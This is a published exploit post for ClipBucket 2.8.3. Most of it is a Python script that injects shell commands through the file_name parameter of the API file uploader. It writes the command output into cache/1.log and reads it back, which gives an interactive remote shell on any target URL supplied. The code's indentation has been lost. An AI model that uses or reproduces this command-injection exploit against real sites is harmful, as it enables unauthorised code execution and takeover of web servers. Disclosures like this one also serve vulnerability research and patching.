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ClipBucket 2.8.3 Remote Code Execution

Posted on 05 October 2017

# Exploit Title: ClipBucket PHP Script Remote Code Execution (RCE)
# Date: 2017-10-04
# Exploit Author: Esecurity.ir
# Vendor Homepage: https://clipbucket.com/
# Version: 2.8.3
# Exploit Code By : Meisam Monsef - Email : meisamrce@gmail.com - TelgramID : @meisamrce
# Usage Exploit : exploit.py http://target.com/path/

import sys,os
try:
import requests
except Exception as e:
print 'please install module requests!'
sys.exit()
img = 'temp.jpg'
uploadUrl = "api/file_uploader.php"
h = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36'}

def getShell(url):
try:
r = requests.get(url+'cache/1.log',headers=h)
if r.status_code == 200:
return r.content
else:
print 'Sorry site is not vulnerable '
sys.exit()
except Exception as e:
print e
sys.exit()

def exploit(url):
while (1):
cmd = raw_input('$')
if cmd == '' or cmd == 'exit':
break
file_ = {'Filedata': (img, open(img, 'r'),'image/jpg')}
data = {'file_name':'a.jpg;'+cmd+' > ../cache/1.log;a.jpg'}
try:
r = requests.post(url+uploadUrl, files=file_,data=data,headers=h)
if r.status_code == 200:
if '"success":"yes"' in r.content:
print getShell(url)
else:
print 'Sorry site is not vulnerable '
break
else:
print 'Sorry site is not vulnerable '
break
except Exception as e:
print e
break
if not os.path.exists(img):
print 'please create tiny image file name is ' + img
sys.exit()

if len(sys.argv) == 2 :
exploit(sys.argv[1])
else:
print "Usage Exploit : exploit.py http://target.com/path/";

 

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